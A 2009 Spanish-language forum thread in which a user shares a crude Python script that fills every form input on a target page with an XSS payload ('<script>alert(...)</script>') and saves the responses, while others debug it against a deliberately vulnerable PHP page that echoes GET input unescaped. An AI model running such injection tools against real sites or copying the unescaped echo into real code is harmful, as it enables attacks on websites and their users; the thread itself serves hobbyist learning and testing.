[python] Herramienta (bastante precaria) para XSS

Iniciado por braulio--, 7 Diciembre 2009, 17:27 PM

0 Miembros y 1 Visitante están viendo este tema.

braulio--

Bueno, la he hecho esta mañana, os la pongo para que los que no sepan mucho vayan aprendiendo y ya la iré mejorando.
Lo que hace es que le pasas como argumento la página que quieres "XSSar" y va probando el payload que le hayas puesto en todos los inputs y te guarda los resultados. Es bastante inestable.
Código (python) [Seleccionar]

#!/usr/bin/python
import urllib2,urllib,sys,string
from HTMLParser import HTMLParser
class parsearhtml(HTMLParser):
   formactual = -1
   atributosform = []
   atributosinput = []
   def handle_starttag(self, tag, attrs):
     atributosform = {}
     atributosinput = {}
     if tag=="form":
       for i in range(len(attrs)):
         atributosform[attrs[i][0]] = attrs[i][1]
       self.atributosform.append(atributosform)
       self.atributosinput.append([])
       self.formactual+=1
     if tag=="input":
       for i in range(len(attrs)):
         atributosinput[attrs[i][0]] = attrs[i][1]
       self.atributosinput[self.formactual].append(atributosinput)
def obtenerhost(url): #Funcion que obtiene el host
  if url[0:7]=='http://':
    return url[0:url[7:].find('/')+7]
  if url[0:8]=='https://':
    return url[0:url[8:].find('/')+8]
  return url
def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo...
  i = len(url)-1
  while i!=0:
    if url[i]=='/': return url[:i+1]
    i-=1
  return url
def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables
  global host,carpeta
  if action.find('http://')!=-1 or action.find('https://')!=-1:
    return action
  if action[0]=='/':
    return host+action
  else :
    return carpeta+action
url = sys.argv[1]
host = obtenerhost(url)
carpeta =  obtenercarpeta(url)
#Variables de localizacion
useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"
cabeceras = { "User-Agent" : useragent }
code = urllib2.urlopen(url).read()
print "Codigo de la pagina obtenido ..."
try :
parser = parsearhtml()
parser.feed(code) # Ha recogido todos los forms y los inputs
except :
print "Hubo un error parseando el HTML"
#Ya tengo todos los datos necesarios
print "Datos obtenidos ..."
payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS
atributosform = parser.atributosform
atributosinput = parser.atributosinput
if len(atributosform)==0: print "No se encontraron forms"
for indice in range(len(atributosform)):
  #Se obtiene la direccion a la que mandar los datos
  print "Obteniendo direccion a la que mandar los datos... "
  if atributosform[indice].has_key('action'):
    urlamandar = obtenerruta(atributosform[indice]['action'])
  else:
    urlamandar = url
  #Se empiezan a rellenar las variables con los payloads correspondientes...
  maliciousdata = {}
  print "Rellenando con los payloads las variables ..."
  for varinput in atributosinput[indice]:
    if varinput.has_key('name'):
      maliciousdata[varinput['name']] = payloads[1]
  maliciousdata = urllib.urlencode(maliciousdata)
  req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras)
  codeinfectado = urllib2.urlopen(req).read()
  print "Escribiendo el archivo ",str(indice)+".html"
  resultado = open(str(indice)+'.html','w')
  resultado.write(codeinfectado)
 
Le podéis modificar facilmente el user-agent y el payload.
Uso :

python xss.py http://localhost/xss.php

WHK

Lo agregué a la lista de los demás proyectos en el post recopilatorio  ;)

tragantras

python xss.py http://localhost/index.php 
File "xss.py", line 23
    return url[0:url[7:].find('/') 7]
                                   ^
SyntaxError: invalid syntax


algo anda mal o soy yo? :S
Colaboraciones:
1 2

braulio--

Cita de: tragantras en  7 Diciembre 2009, 21:03 PM
python xss.py http://localhost/index.php 
File "xss.py", line 23
    return url[0:url[7:].find('/') 7]
                                   ^
SyntaxError: invalid syntax


algo anda mal o soy yo? :S
Ya lo he modificado y debería funcionar, misteriosamente  no se copiaron algunos símbolos.:¬¬

tragantras

#4
ei braulio23!

no se si es a mi solo, pero la resolución de nombres no funciona del todo bien:
-no funciona con "localhost" hay que poner "127.0.0.1".


Por otra parte... la página que te guarda 0.html, que se supone que es? el formulario guardado o el supuesto resultado de la inyeccion del payload?

Esque al abrirlo es tal cual el codigo en "html" de la web que introduje, pero claro... al tratarse de un .php solo obtiene ese código ( el html ), no se, algo falla braulio! jajaja :P
Colaboraciones:
1 2

braulio--

A mi la resolución de nombres si me funciona.
El resultado 0.html es lo que devolvió la web cuando se mandaron las variables con los payloads.

tragantras

y no debería devolver el alert que le metes en el payload ( por ejemplo ) por defecto?

es que me devuelve el formulario tal cual...


Un saludo!
Colaboraciones:
1 2

braulio--

Pero hiciste que ese formulario fuera vulnerable?

tragantras

claro, si lo es, por si acaso te adjunto el codigo, pero que si, k si lo es xD
un saludo!


pD: lo k se escribe en el 0.html es el codigo en html del index.php




<?php
if(isset($_GET["var"])){
echo 
"has escrito: ".$_GET["var"];
}
?>

<HTML>
<HEAD>
<TITLE>Vulnerabilidad XSS</TITLE>
</HEAD>

<BODY>
<h1> FORMULARIO DE ENVIO DEL XSS </h1>
<BR>

<FORM METHOD="get" ACTION="index.php">
<INPUT TYPE="text" NAME="var">
<INPUT TYPE="submit" VALUE="enviar">

</FORM>
</BODY>
</HTML>

Colaboraciones:
1 2

braulio--

Vale, no funciona por el método GET.
Cuando tenga tiempo lo implanto.
Gracias por probarlo y lamento que no funcione.